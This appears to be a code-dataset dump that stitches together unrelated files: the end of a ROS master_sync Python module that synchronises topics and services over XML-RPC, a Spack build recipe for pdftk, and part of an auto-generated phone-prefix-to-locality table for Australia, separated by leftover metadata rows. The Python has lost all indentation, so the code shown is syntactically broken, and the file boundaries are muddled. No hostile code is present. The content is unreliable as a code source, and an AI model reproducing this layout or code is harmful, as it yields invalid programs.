subscriber_to_register.append((topic, topictype, node, nodeuri))
subscriber.append((topic, topictype, node, nodeuri))
# unregister not updated topics
for (topic, topictype, node, nodeuri) in set(self.__subscriber) - set(subscriber):
own_master_multi.unregisterSubscriber(node, topic, nodeuri)
rospy.logdebug("SyncThread[%s]: prepare UNSUB %s[%s] %s",
self.name, node, nodeuri, topic)
handler.append(('usub', topic, node, nodeuri))
# delete from warning list
with self.__lock_info:
if (topic, node, nodeuri) in self._md5warnings:
del self._md5warnings[(topic, node, nodeuri)]
# register new subscriber
for (topic, topictype, node, nodeuri) in subscriber_to_register:
own_master_multi.registerSubscriber(node, topic, topictype, nodeuri)
rospy.logdebug("SyncThread[%s]: prepare SUB %s[%s] %s[%s]",
self.name, node, nodeuri, topic, topictype)
handler.append(('sub', topic, topictype, node, nodeuri))
# check for conflicts with local types before register remote topics
with self.__lock_info:
self._check_local_topic_types(publisher_to_register + subscriber_to_register)
# sync the services
services = []
services_to_register = []
for (service, nodes) in rservices:
for node in nodes:
serviceuri = self._get_serviceuri(service, serviceProviders, remote_masteruri)
nodeuri = self._get_nodeuri(node, nodeProviders, remote_masteruri)
if serviceuri and nodeuri and not self._do_ignore_ns(node, service):
# register the node as publisher in local ROS master
if not ((service, serviceuri, node, nodeuri) in self.__services):
services_to_register.append((service, serviceuri, node, nodeuri))
services.append((service, serviceuri, node, nodeuri))
# unregister not updated services
for (service, serviceuri, node, nodeuri) in set(self.__services) - set(services):
own_master_multi.unregisterService(node, service, serviceuri)
rospy.logdebug("SyncThread[%s]: prepare UNSRV %s[%s] %s[%s]",
self.name, node, nodeuri, service, serviceuri)
handler.append(('usrv', service, serviceuri, node, nodeuri))
# register new services
for (service, serviceuri, node, nodeuri) in services_to_register:
own_master_multi.registerService(node, service, serviceuri, nodeuri)
rospy.logdebug("SyncThread[%s]: prepare SRV %s[%s] %s[%s]",
self.name, node, nodeuri, service, serviceuri)
handler.append(('srv', service, serviceuri, node, nodeuri))
# execute the multicall and update the current publicher, subscriber and services
if not self.__unregistered:
with self.__lock_info:
self.__sync_info = None
self.__publisher = publisher
self.__subscriber = subscriber
self.__services = services
# update the local ROS master
socket.setdefaulttimeout(3)
result = own_master_multi()
self._check_multical_result(result, handler)
# set the last synchronization time
self.timestamp = stamp
self.timestamp_local = stamp_local
rospy.logdebug("SyncThread[%s]: current timestamp %.9f, local %.9f", self.name, stamp, stamp_local)
if self.timestamp_remote > stamp_local:
rospy.logdebug("SyncThread[%s]: invoke next update, remote ts: %.9f", self.name, self.timestamp_remote)
self._update_timer = threading.Timer(random.random() * 2., self._request_remote_state, args=(self._apply_remote_state,))
self._update_timer.start()
# check md5sum for topics
with self.__lock_info:
self._check_md5sums(publisher_to_register + subscriber_to_register)
# check if remote master_sync was stopped
if self.__has_remove_sync and not remove_sync_found:
# resync
if self.__callback_resync is not None:
self.__callback_resync()
self.__has_remove_sync = False
except:
rospy.logerr("SyncThread[%s] ERROR: %s", self.name, traceback.format_exc())
finally:
socket.setdefaulttimeout(None)
rospy.loginfo("SyncThread[%s] remote state applied.", self.name)
def _check_multical_result(self, mresult, handler):
if not self.__unregistered:
# analyze the results of the registration call
# HACK param to reduce publisher creation, see line 372
publiser_to_update = {}
for h, (code, statusMessage, r) in zip(handler, mresult):
try:
if h[0] == 'sub':
if code == -1:
rospy.logwarn("SyncThread[%s]: topic subscription error: %s (%s), %s %s, node: %s", self.name, h[1], h[2], str(code), str(statusMessage), h[3])
else:
rospy.logdebug("SyncThread[%s]: topic subscribed: %s, %s %s, node: %s", self.name, h[1], str(code), str(statusMessage), h[3])
if h[0] == 'sub' and code == 1 and len(r) > 0:
if not self._do_ignore_ntp(h[3], h[1], h[2]):
# topic, nodeuri, node : list of publisher uris
publiser_to_update[(h[1], h[4], h[3])] = r
elif h[0] == 'pub':
if code == -1:
rospy.logwarn("SyncThread[%s]: topic advertise error: %s (%s), %s %s", self.name, h[1], h[2], str(code), str(statusMessage))
else:
rospy.logdebug("SyncThread[%s]: topic advertised: %s, %s %s", self.name, h[1], str(code), str(statusMessage))
elif h[0] == 'usub':
rospy.logdebug("SyncThread[%s]: topic unsubscribed: %s, %s %s", self.name, h[1], str(code), str(statusMessage))
elif h[0] == 'upub':
rospy.logdebug("SyncThread[%s]: topic unadvertised: %s, %s %s", self.name, h[1], str(code), str(statusMessage))
elif h[0] == 'srv':
if code == -1:
rospy.logwarn("SyncThread[%s]: service registration error: %s, %s %s", self.name, h[1], str(code), str(statusMessage))
else:
rospy.logdebug("SyncThread[%s]: service registered: %s, %s %s", self.name, h[1], str(code), str(statusMessage))
elif h[0] == 'usrv':
rospy.logdebug("SyncThread[%s]: service unregistered: %s, %s %s", self.name, h[1], str(code), str(statusMessage))
except:
rospy.logerr("SyncThread[%s] ERROR while analyzing the results of the registration call [%s]: %s", self.name, h[1], traceback.format_exc())
# hack:
# update publisher since they are not updated while registration of a subscriber
# https://github.com/ros/ros_comm/blob/9162b32a42b5569ae42a94aa6426aafcb63021ae/tools/rosmaster/src/rosmaster/master_api.py#L195
for (sub_topic, api, node), pub_uris in publiser_to_update.items():
msg = "SyncThread[%s] publisherUpdate[%s] -> node: %s [%s], publisher uris: %s" % (self.name, sub_topic, api, node, pub_uris)
try:
pub_client = xmlrpcclient.ServerProxy(api)
ret = pub_client.publisherUpdate('/master', sub_topic, pub_uris)
msg_suffix = "result=%s" % ret
rospy.logdebug("%s: %s", msg, msg_suffix)
except Exception as ex:
msg_suffix = "exception=%s" % ex
rospy.logwarn("%s: %s", msg, msg_suffix)
def perform_resync(self):
# # create a multicall object
own_master = xmlrpcclient.ServerProxy(self.masteruri_local)
own_master_multi = xmlrpcclient.MultiCall(own_master)
# fill the multicall object
handler = []
with self.__lock_info:
# reregister subcriptions
for (topic, topictype, node, nodeuri) in self.__subscriber:
own_master_multi.registerSubscriber(node, topic, topictype, nodeuri)
rospy.logdebug("SyncThread[%s]: prepare RESUB %s[%s] %s[%s]",
self.name, node, nodeuri, topic, topictype)
handler.append(('sub', topic, topictype, node, nodeuri))
# reregister publishers
for (topic, topictype, node, nodeuri) in self.__publisher:
own_master_multi.registerPublisher(node, topic, topictype, nodeuri)
rospy.logdebug("SyncThread[%s]: prepare REPUB %s[%s] %s[%s]",
self.name, node, nodeuri, topic, topictype)
handler.append(('pub', topic, topictype, node, nodeuri))
result = own_master_multi()
self._check_multical_result(result, handler)
def _check_md5sums(self, topics_to_register):
try:
# connect to master_monitor rpc-xml server of remote master discovery
socket.setdefaulttimeout(20)
remote_monitor = xmlrpcclient.ServerProxy(self.monitoruri)
# determine the getting method: older versions have not a getTopicsMd5sum method
if self._use_md5check_topics is None:
try:
self._use_md5check_topics = 'getTopicsMd5sum' in remote_monitor.system.listMethods()
except:
self._use_md5check_topics = False
if self._use_md5check_topics:
rospy.loginfo("SyncThread[%s] Requesting remote md5sums '%s'", self.name, self.monitoruri)
topic_types = [topictype for _topic, topictype, _node, _nodeuri in topics_to_register]
remote_md5sums_topics = remote_monitor.getTopicsMd5sum(topic_types)
for rttype, rtmd5sum in remote_md5sums_topics:
try:
lmd5sum = None
msg_class = roslib.message.get_message_class(rttype)
if msg_class is not None:
lmd5sum = msg_class._md5sum
if lmd5sum != rtmd5sum:
for topicname, topictype, node, nodeuri in topics_to_register:
if topictype == rttype:
if (topicname, node, nodeuri) not in self._md5warnings:
if lmd5sum is None:
rospy.logwarn("Unknown message type %s for topic: %s, local host: %s, remote host: %s" % (rttype, topicname, self.hostname_local, self.name))
else:
rospy.logwarn("Different checksum detected for topic: %s, type: %s, local host: %s, remote host: %s" % (topicname, rttype, self.hostname_local, self.name))
self._md5warnings[(topicname, node, nodeuri)] = (topictype, lmd5sum)
except Exception as err:
import traceback
rospy.logwarn(err)
rospy.logwarn(traceback.format_exc())
except:
import traceback
rospy.logerr("SyncThread[%s] ERROR: %s", self.name, traceback.format_exc())
finally:
socket.setdefaulttimeout(None)
def _check_local_topic_types(self, topics_to_register):
try:
if self.__own_state is not None:
for topicname, topictype, node, nodeuri in topics_to_register:
try:
if topicname in self.__own_state.topics:
own_topictype = self.__own_state.topics[topicname].type
if own_topictype not in ['*', None] and topictype not in ['*', None] :
if topictype != own_topictype:
if (topicname, node, nodeuri) not in self._topic_type_warnings:
rospy.logwarn("Different topic types detected for topic: %s, own type: %s remote type: %s, local host: %s, remote host: %s" % (topicname, own_topictype, topictype, self.hostname_local, self.name))
self._topic_type_warnings[(topicname, node, nodeuri)] = "local: %s, remote: %s" % (own_topictype, topictype)
except Exception as err:
import traceback
rospy.logwarn(err)
rospy.logwarn(traceback.format_exc())
except:
import traceback
rospy.logerr("SyncThread[%s] ERROR: %s", self.name, traceback.format_exc())
finally:
socket.setdefaulttimeout(None)
def get_md5warnigs(self):
with self.__lock_info:
return dict(self._md5warnings)
def get_topic_type_warnings(self):
with self.__lock_info:
return dict(self._topic_type_warnings)
def _unreg_on_finish(self):
with self.__lock_info:
self.__unregistered = True
try:
rospy.logdebug(" SyncThread[%s] clear all registrations", self.name)
socket.setdefaulttimeout(5)
own_master = xmlrpcclient.ServerProxy(self.masteruri_local)
own_master_multi = xmlrpcclient.MultiCall(own_master)
# end routine if the master was removed
for topic, _topictype, node, uri in self.__subscriber:
rospy.logdebug(" SyncThread[%s] unsibscribe %s [%s]" % (self.name, topic, node))
own_master_multi.unregisterSubscriber(node, topic, uri)
# TODO: unregister a remote subscriber while local publisher is still there
# Note: the connection between running components after unregistration is stil there!
for topic, _topictype, node, uri in self.__publisher:
rospy.logdebug(" SyncThread[%s] unadvertise %s [%s]" % (self.name, topic, node))
own_master_multi.unregisterPublisher(node, topic, uri)
for service, serviceuri, node, uri in self.__services:
rospy.logdebug(" SyncThread[%s] unregister service %s [%s]" % (self.name, service, node))
own_master_multi.unregisterService(node, service, serviceuri)
rospy.logdebug(" SyncThread[%s] execute a MultiCall", self.name)
_ = own_master_multi()
rospy.logdebug(" SyncThread[%s] finished", self.name)
except:
rospy.logerr("SyncThread[%s] ERROR while ending: %s", self.name, traceback.format_exc())
socket.setdefaulttimeout(None)
def _do_ignore_ntp(self, node, topic, topictype):
if node == rospy.get_name():
return True
return self._filter.is_ignored_publisher(node, topic, topictype)
def _do_ignore_nts(self, node, topic, topictype):
if node == rospy.get_name():
return True
return self._filter.is_ignored_subscriber(node, topic, topictype)
def _do_ignore_ns(self, node, service):
if node == rospy.get_name():
return True
return self._filter.is_ignored_service(node, service)
def _get_topictype(self, topic, topic_types):
for (topicname, topic_type) in topic_types:
if (topicname == topic):
return topic_type.replace('None', '')
return None
def _get_nodeuri(self, node, nodes, remote_masteruri):
for (nodename, uri, masteruri, pid, local) in nodes:
if (nodename == node) and ((self._filter.sync_remote_nodes() and masteruri == remote_masteruri) or local == 'local'):
# the node was registered originally to another ROS master -> do sync
if masteruri != self.masteruri_local:
return uri
return None
def _get_serviceuri(self, service, nodes, remote_masteruri):
for (servicename, uri, masteruri, _topic_type, local) in nodes:
if (servicename == service) and ((self._filter.sync_remote_nodes() and masteruri == remote_masteruri) or local == 'local'):
if masteruri != self.masteruri_local:
return uri
return None
| 55.421217 | 236 | 0.593976 |
795c293d4fcfe03668995616f9a999b5418721ff | 3,203 | py | Python | var/spack/repos/builtin/packages/pdftk/package.py | LiamBindle/spack | e90d5ad6cfff2ba3de7b537d6511adccd9d5fcf1 | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] | 2,360 | 2017-11-06T08:47:01.000Z | 2022-03-31T14:45:33.000Z | var/spack/repos/builtin/packages/pdftk/package.py | LiamBindle/spack | e90d5ad6cfff2ba3de7b537d6511adccd9d5fcf1 | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] | 13,838 | 2017-11-04T07:49:45.000Z | 2022-03-31T23:38:39.000Z | var/spack/repos/builtin/packages/pdftk/package.py | LiamBindle/spack | e90d5ad6cfff2ba3de7b537d6511adccd9d5fcf1 | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] | 1,793 | 2017-11-04T07:45:50.000Z | 2022-03-30T14:31:53.000Z | # Copyright 2013-2021 Lawrence Livermore National Security, LLC and other
# Spack Project Developers. See the top-level COPYRIGHT file for details.
#
# SPDX-License-Identifier: (Apache-2.0 OR MIT)
import os
from spack import *
class Pdftk(MakefilePackage):
"""PDFtk Server is a command-line tool for working with PDFs. It is
commonly used for client-side scripting or server-side processing
of PDFs."""
homepage = "https://www.pdflabs.com/tools/pdftk-server"
url = "https://www.pdflabs.com/tools/pdftk-the-pdf-toolkit/pdftk-2.02-src.zip"
# Alternative download locations:
# https://sources.debian.org/src/pdftk/
# http://archive.ubuntu.com/ubuntu/pool/universe/p/pdftk/pdftk_2.02.orig.tar.gz
maintainers = ['citibeth']
version('2.02', sha256='118f6a25fd3acaafb58824dce6f97cdc07e56050e666b90e4c4ef426ea37b8c1')
depends_on('eclipse-gcj-parser', type='build')
# Only takes effect in phases not overridden here
build_directory = 'pdftk'
# https://www.pdflabs.com/docs/install-pdftk-on-redhat-or-centos/
def edit(self, spec, prefix):
# ------ Fix install directory in main Makefile
makefile = FileFilter(join_path('pdftk', 'Makefile.Base'))
makefile.filter('/usr/local/bin', spec.prefix.bin)
# ------ Create new config file
compiler = self.compiler
gcc_base = os.path.split(os.path.split(compiler.cxx)[0])[0]
gcc_version = compiler.version
cppflags = (
'-DPATH_DELIM=0x2f',
'-DASK_ABOUT_WARNINGS=false',
'-DUNBLOCK_SIGNALS',
'-fdollars-in-identifiers')
cxxflags = ('-Wall', '-Wextra', '-Weffc++', '-O2')
gcjflags = ('-Wall', '-Wextra', '-O2')
vars = [
('VERSUFF', '-%s' % gcc_version),
('CXX', compiler.cxx),
('GCJ', spec['eclipse-gcj-parser'].package.gcj),
('GCJH', join_path(gcc_base, 'bin', 'gcjh')),
('GJAR', join_path(gcc_base, 'bin', 'gjar')),
('LIBGCJ', join_path(
gcc_base, 'share', 'java',
'libgcj-{0}.jar'.format(gcc_version))),
('AR', 'ar'),
('RM', 'rm'),
('ARFLAGS', 'rs'),
('RMFLAGS', '-vf'),
('CPPFLAGS', ' '.join(cppflags)),
('CXXFLAGS', ' '.join(cxxflags)),
('GCJFLAGS', ' '.join(gcjflags)),
('GCJHFLAGS', '-force'),
('LDLIBS', '-lgcj')
]
with open(join_path('pdftk', 'Makefile.Spack'), 'w') as mk:
for var, val in vars:
mk.write("export {0}={1}\n".format(var, str(val)))
mk.write('include Makefile.Base\n')
def build(self, spec, prefix):
compiler = self.compiler
gcc_base = os.path.split(os.path.split(compiler.cxx)[0])[0]
env['PATH'] = join_path(gcc_base, 'bin') + ':' + env['PATH']
with working_dir(self.build_directory):
make('-f', 'Makefile.Spack', parallel=False)
def install(self, spec, prefix):
mkdirp(self.spec.prefix.bin)
with working_dir(self.build_directory):
make('-f', 'Makefile.Spack', 'install', parallel=False)
| 37.682353 | 94 | 0.58133 |
795c29aa562394f51bbdbc4017515ee971b0dde0 | 330,911 | py | Python | app_venv/Lib/site-packages/phonenumbers/geodata/data8.py | orlandofv/sianna | f07dd6dbc62a9604f31ab800e482e62f14fba766 | [
"MIT"
] | null | null | null | app_venv/Lib/site-packages/phonenumbers/geodata/data8.py | orlandofv/sianna | f07dd6dbc62a9604f31ab800e482e62f14fba766 | [
"MIT"
] | null | null | null | app_venv/Lib/site-packages/phonenumbers/geodata/data8.py | orlandofv/sianna | f07dd6dbc62a9604f31ab800e482e62f14fba766 | [
"MIT"
] | null | null | null | """Per-prefix data, mapping each prefix to a dict of locale:name.
Auto-generated file, do not edit by hand.
"""
from ..util import u
# Copyright (C) 2011-2022 The Libphonenumber Authors
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
data = {
'61240011':{'en': 'Bandon Grove'},
'61240012':{'en': 'Branxton'},
'61240013':{'en': 'Bulahdelah'},
'61240014':{'en': 'Cessnock'},
'61240015':{'en': 'Clarence Town'},
'61240016':{'en': 'Dungog'},
'61240017':{'en': 'East Gresford'},
'61240018':{'en': 'Eccleston'},
'61240019':{'en': 'Karuah'},
'61240020':{'en': 'Laguna'},
'61240021':{'en': 'Maitland'},
'61240022':{'en': 'Mulbring'},
'61240023':{'en': 'Nelson Bay'},
'61240024':{'en': 'Newcastle'},
'61240025':{'en': 'Raymond Terrace'},
'61240026':{'en': 'Stroud'},
'61240027':{'en': 'Swansea'},
'61240028':{'en': 'Tea Gardens'},
'61240029':{'en': 'Wards River'},
'61240030':{'en': 'Wootton'},
'61240031':{'en': 'Bandon Grove'},
'61240032':{'en': 'Branxton'},
'61240033':{'en': 'Bulahdelah'},
'61240034':{'en': 'Cessnock'},
'61240035':{'en': 'Clarence Town'},
'61240036':{'en': 'Dungog'},
'61240037':{'en': 'Newcastle'},
'61240038':{'en': 'Eccleston'},
'61240039':{'en': 'Karuah'},
'61240040':{'en': 'Laguna'},
'61240041':{'en': 'Maitland'},
'61240042':{'en': 'Mulbring'},
'61240043':{'en': 'Nelson Bay'},
'61240044':{'en': 'Raymond Terrace'},
'61240045':{'en': 'Maitland'},
'61240046':{'en': 'Newcastle'},
'61240047':{'en': 'Raymond Terrace'},
'61240048':{'en': 'Stroud'},
'61240049':{'en': 'Swansea'},
'61240050':{'en': 'Tea Gardens'},
'61240051':{'en': 'Wards River'},
'61240052':{'en': 'Wootton'},
'61240053':{'en': 'Bandon Grove'},
'61240054':{'en': 'Branxton'},
'61240055':{'en': 'Bulahdelah'},
'61240056':{'en': 'Cessnock'},
'61240057':{'en': 'Clarence Town'},
'61240058':{'en': 'Dungog'},
'61240059':{'en': 'East Gresford'},
'61240060':{'en': 'Eccleston'},
'61240061':{'en': 'Karuah'},
'61240062':{'en': 'Laguna'},
'61240063':{'en': 'Maitland'},
'61240064':{'en': 'Mulbring'},
'61240065':{'en': 'Nelson Bay'},
'61240066':{'en': 'Raymond Terrace'},
'61240067':{'en': 'Stroud'},
'61240068':{'en': 'Swansea'},
'61240069':{'en': 'Tea Gardens'},
'61240070':{'en': 'Wards River'},
'61240071':{'en': 'Wootton'},
'61240072':{'en': 'Bandon Grove'},
'61240073':{'en': 'Branxton'},
'61240074':{'en': 'Bulahdelah'},
'61240075':{'en': 'Cessnock'},
'61240076':{'en': 'Clarence Town'},
'61240077':{'en': 'Dungog'},
'61240078':{'en': 'East Gresford'},
'61240079':{'en': 'Eccleston'},
'61240080':{'en': 'Karuah'},
'61240081':{'en': 'Laguna'},
'61240082':{'en': 'Maitland'},
'61240083':{'en': 'Mulbring'},
'61240084':{'en': 'Nelson Bay'},
'61240085':{'en': 'Raymond Terrace'},
'61240086':{'en': 'Stroud'},
'61240087':{'en': 'Swansea'},
'61240088':{'en': 'Tea Gardens'},
'61240089':{'en': 'Wards River'},
'61240090':{'en': 'Wootton'},
'61240091':{'en': 'Newcastle'},
'61240092':{'en': 'Branxton'},
'61240093':{'en': 'Bulahdelah'},
'61240094':{'en': 'Cessnock'},
'61240095':{'en': 'Clarence Town'},
'61240096':{'en': 'Dungog'},
'61240097':{'en': 'East Gresford'},
'61240098':{'en': 'Eccleston'},
'61240099':{'en': 'Karuah'},
'61240100':{'en': 'Laguna'},
'61240101':{'en': 'Maitland'},
'61240102':{'en': 'Mulbring'},
'61240103':{'en': 'Nelson Bay'},
'61240104':{'en': 'Raymond Terrace'},
'61240105':{'en': 'Stroud'},
'61240106':{'en': 'Swansea'},
'61240107':{'en': 'Tea Gardens'},
'61240108':{'en': 'Wards River'},
'61240109':{'en': 'Wootton'},
'61240110':{'en': 'Bandon Grove'},
'61240111':{'en': 'Bandon Grove'},
'61240112':{'en': 'Branxton'},
'61240113':{'en': 'Bulahdelah'},
'61240114':{'en': 'Cessnock'},
'61240115':{'en': 'Clarence Town'},
'61240116':{'en': 'Dungog'},
'61240117':{'en': 'East Gresford'},
'61240118':{'en': 'Eccleston'},
'61240119':{'en': 'Karuah'},
'61240120':{'en': 'Laguna'},
'61240121':{'en': 'Maitland'},
'61240122':{'en': 'Mulbring'},
'61240123':{'en': 'Nelson Bay'},
'61240124':{'en': 'Newcastle'},
'61240125':{'en': 'Raymond Terrace'},
'61240126':{'en': 'Stroud'},
'61240127':{'en': 'Swansea'},
'61240128':{'en': 'Tea Gardens'},
'61240129':{'en': 'Wards River'},
'61240130':{'en': 'Wootton'},
'61240131':{'en': 'Newcastle'},
'61240132':{'en': 'Newcastle'},
'61240133':{'en': 'Newcastle'},
'61240134':{'en': 'Newcastle'},
'61240135':{'en': 'Cessnock'},
'61240136':{'en': 'Maitland'},
'61240137':{'en': 'Nelson Bay'},
'61240138':{'en': 'Raymond Terrace'},
'61240139':{'en': 'Bandon Grove'},
'6124014':{'en': 'Newcastle'},
'6124015':{'en': 'Maitland'},
'6124016':{'en': 'Newcastle'},
'6124017':{'en': 'Newcastle'},
'61240180':{'en': 'Bulahdelah'},
'61240181':{'en': 'Cessnock'},
'61240182':{'en': 'Clarence Town'},
'61240183':{'en': 'Dungog'},
'61240184':{'en': 'East Gresford'},
'61240185':{'en': 'Karuah'},
'61240186':{'en': 'Laguna'},
'61240187':{'en': 'Maitland'},
'61240188':{'en': 'Mulbring'},
'61240189':{'en': 'Nelson Bay'},
'61240190':{'en': 'Raymond Terrace'},
'61240191':{'en': 'Stroud'},
'61240192':{'en': 'Swansea'},
'61240193':{'en': 'Tea Gardens'},
'61240194':{'en': 'Wootton'},
'61240195':{'en': 'Wards River'},
'61240196':{'en': 'Bandon Grove'},
'61240197':{'en': 'Branxton'},
'61240198':{'en': 'Eccleston'},
'61240199':{'en': 'Cessnock'},
'61240200':{'en': 'Cessnock'},
'61240201':{'en': 'Maitland'},
'61240202':{'en': 'Maitland'},
'61240203':{'en': 'East Gresford'},
'61240204':{'en': 'East Gresford'},
'61240205':{'en': 'Nelson Bay'},
'61240206':{'en': 'Nelson Bay'},
'61240207':{'en': 'Raymond Terrace'},
'61240208':{'en': 'Raymond Terrace'},
'61240209':{'en': 'Mulbring'},
'61240210':{'en': 'Nelson Bay'},
'61240211':{'en': 'Newcastle'},
'61240212':{'en': 'Raymond Terrace'},
'61240213':{'en': 'Eccleston'},
'61240214':{'en': 'Swansea'},
'61240215':{'en': 'Tea Gardens'},
'61240216':{'en': 'Branxton'},
'61240217':{'en': 'Wootton'},
'61240218':{'en': 'Bulahdelah'},
'61240219':{'en': 'Bulahdelah'},
'61240220':{'en': 'Cessnock'},
'61240221':{'en': 'Cessnock'},
'61240222':{'en': 'Clarence Town'},
'61240223':{'en': 'Dungog'},
'61240224':{'en': 'East Gresford'},
'61240225':{'en': 'Karuah'},
'61240226':{'en': 'Laguna'},
'61240227':{'en': 'Maitland'},
'61240228':{'en': 'Newcastle'},
'61240229':{'en': 'Newcastle'},
'6124023':{'en': 'Newcastle'},
'61240240':{'en': 'Branxton'},
'61240241':{'en': 'Cessnock'},
'61240242':{'en': 'Nelson Bay'},
'61240243':{'en': 'Raymond Terrace'},
'61240244':{'en': 'Swansea'},
'61240245':{'en': 'Stroud'},
'61240246':{'en': 'Stroud'},
'61240247':{'en': 'Wards River'},
'61240248':{'en': 'Wards River'},
'61240249':{'en': 'Branxton'},
'61240250':{'en': 'Branxton'},
'61240251':{'en': 'Bulahdelah'},
'61240252':{'en': 'Bulahdelah'},
'61240253':{'en': 'Cessnock'},
'61240254':{'en': 'Cessnock'},
'61240255':{'en': 'Clarence Town'},
'61240256':{'en': 'Clarence Town'},
'61240257':{'en': 'Dungog'},
'61240258':{'en': 'Dungog'},
'61240259':{'en': 'Karuah'},
'61240260':{'en': 'Karuah'},
'61240261':{'en': 'Laguna'},
'61240262':{'en': 'Laguna'},
'61240263':{'en': 'Maitland'},
'61240264':{'en': 'Maitland'},
'61240265':{'en': 'Mulbring'},
'61240266':{'en': 'Mulbring'},
'61240267':{'en': 'Newcastle'},
'61240268':{'en': 'Newcastle'},
'61240269':{'en': 'Swansea'},
'61240270':{'en': 'Swansea'},
'61240271':{'en': 'Tea Gardens'},
'61240272':{'en': 'Tea Gardens'},
'61240273':{'en': 'Wootton'},
'61240274':{'en': 'Wootton'},
'61240275':{'en': 'Newcastle'},
'61240276':{'en': 'Bandon Grove'},
'61240277':{'en': 'Bandon Grove'},
'61240278':{'en': 'Eccleston'},
'61240279':{'en': 'Eccleston'},
'6124028':{'en': 'Newcastle'},
'6124029':{'en': 'Newcastle'},
'6124030':{'en': 'Maitland'},
'6124031':{'en': 'Newcastle'},
'6124032':{'en': 'Newcastle'},
'6124033':{'en': 'Newcastle'},
'61240330':{'en': 'Maitland'},
'61240331':{'en': 'Maitland'},
'61240332':{'en': 'Nelson Bay'},
'61240333':{'en': 'Nelson Bay'},
'6124034':{'en': 'Newcastle'},
'61240350':{'en': 'Nelson Bay'},
'61240351':{'en': 'Nelson Bay'},
'61240352':{'en': 'Nelson Bay'},
'61240353':{'en': 'Newcastle'},
'61240354':{'en': 'Newcastle'},
'61240355':{'en': 'Newcastle'},
'61240356':{'en': 'Newcastle'},
'61240357':{'en': 'Newcastle'},
'61240358':{'en': 'Maitland'},
'61240359':{'en': 'Maitland'},
'61240360':{'en': 'Eccleston'},
'61240361':{'en': 'Newcastle'},
'61240362':{'en': 'Newcastle'},
'61240363':{'en': 'Newcastle'},
'61240364':{'en': 'Clarence Town'},
'61240365':{'en': 'Maitland'},
'61240366':{'en': 'Karuah'},
'61240367':{'en': 'Wards River'},
'61240368':{'en': 'Wootton'},
'61240369':{'en': 'Karuah'},
'6124037':{'en': 'Newcastle'},
'61240380':{'en': 'Laguna'},
'61240381':{'en': 'Newcastle'},
'61240382':{'en': 'Mulbring'},
'61240383':{'en': 'Branxton'},
'61240384':{'en': 'Bulahdelah'},
'61240385':{'en': 'Laguna'},
'61240386':{'en': 'Raymond Terrace'},
'61240387':{'en': 'Dungog'},
'61240388':{'en': 'Eccleston'},
'61240389':{'en': 'Maitland'},
'61240390':{'en': 'Mulbring'},
'61240391':{'en': 'Tea Gardens'},
'61240392':{'en': 'East Gresford'},
'61240393':{'en': 'Nelson Bay'},
'61240394':{'en': 'Stroud'},
'61240395':{'en': 'Bandon Grove'},
'61240396':{'en': 'Swansea'},
'61240397':{'en': 'Cessnock'},
'61240398':{'en': 'Newcastle'},
'61240399':{'en': 'Nelson Bay'},
'61240400':{'en': 'Newcastle'},
'61240401':{'en': 'Newcastle'},
'61240402':{'en': 'Clarence Town'},
'61240403':{'en': 'Maitland'},
'61240404':{'en': 'Nelson Bay'},
'61240405':{'en': 'Newcastle'},
'61240406':{'en': 'Swansea'},
'61240407':{'en': 'Swansea'},
'61240408':{'en': 'Maitland'},
'61240409':{'en': 'Newcastle'},
'6124041':{'en': 'Newcastle'},
'61240420':{'en': 'Newcastle'},
'61240421':{'en': 'Newcastle'},
'61240422':{'en': 'Karuah'},
'61240423':{'en': 'Wards River'},
'61240424':{'en': 'Wootton'},
'61240425':{'en': 'East Gresford'},
'61240426':{'en': 'Mulbring'},
'61240427':{'en': 'Branxton'},
'61240428':{'en': 'Bulahdelah'},
'61240429':{'en': 'Raymond Terrace'},
'61240430':{'en': 'Stroud'},
'61240431':{'en': 'Laguna'},
'61240432':{'en': 'Raymond Terrace'},
'61240433':{'en': 'Dungog'},
'61240434':{'en': 'Eccleston'},
'61240435':{'en': 'Tea Gardens'},
'61240436':{'en': 'East Gresford'},
'61240437':{'en': 'Nelson Bay'},
'61240438':{'en': 'Stroud'},
'61240439':{'en': 'Swansea'},
'6124044':{'en': 'Newcastle'},
'61240446':{'en': 'Bandon Grove'},
'61240447':{'en': 'Swansea'},
'61240448':{'en': 'Cessnock'},
'61240449':{'en': 'Tea Gardens'},
'61240450':{'en': 'Wards River'},
'61240451':{'en': 'Dungog'},
'61240452':{'en': 'Clarence Town'},
'61240453':{'en': 'Eccleston'},
'61240454':{'en': 'Tea Gardens'},
'61240455':{'en': 'Karuah'},
'61240456':{'en': 'Wards River'},
'61240457':{'en': 'Wootton'},
'61240458':{'en': 'Mulbring'},
'61240459':{'en': 'Wootton'},
'61240460':{'en': 'Newcastle'},
'61240461':{'en': 'Branxton'},
'61240462':{'en': 'Bulahdelah'},
'61240463':{'en': 'Laguna'},
'61240464':{'en': 'Stroud'},
'61240465':{'en': 'Bandon Grove'},
'61240466':{'en': 'Swansea'},
'61240467':{'en': 'Newcastle'},
'61240468':{'en': 'Maitland'},
'61240469':{'en': 'Maitland'},
'6124047':{'en': 'Newcastle'},
'6124048':{'en': 'Newcastle'},
'6124049':{'en': 'Newcastle'},
'61240500':{'en': 'Newcastle'},
'61240501':{'en': 'Newcastle'},
'61240502':{'en': 'Newcastle'},
'61240503':{'en': 'Newcastle'},
'61240504':{'en': 'Bandon Grove'},
'61240505':{'en': 'Cessnock'},
'61240506':{'en': 'Cessnock'},
'61240507':{'en': 'Maitland'},
'61240508':{'en': 'Maitland'},
'61240509':{'en': 'Maitland'},
'61240510':{'en': 'Branxton'},
'61240511':{'en': 'Bulahdelah'},
'61240512':{'en': 'Cessnock'},
'61240513':{'en': 'Clarence Town'},
'61240514':{'en': 'Dungog'},
'61240515':{'en': 'East Gresford'},
'61240516':{'en': 'Eccleston'},
'61240517':{'en': 'Karuah'},
'61240518':{'en': 'Laguna'},
'61240519':{'en': 'Maitland'},
'61240520':{'en': 'Nelson Bay'},
'61240521':{'en': 'Nelson Bay'},
'61240522':{'en': 'Nelson Bay'},
'61240523':{'en': 'Nelson Bay'},
'61240524':{'en': 'Nelson Bay'},
'61240525':{'en': 'Branxton'},
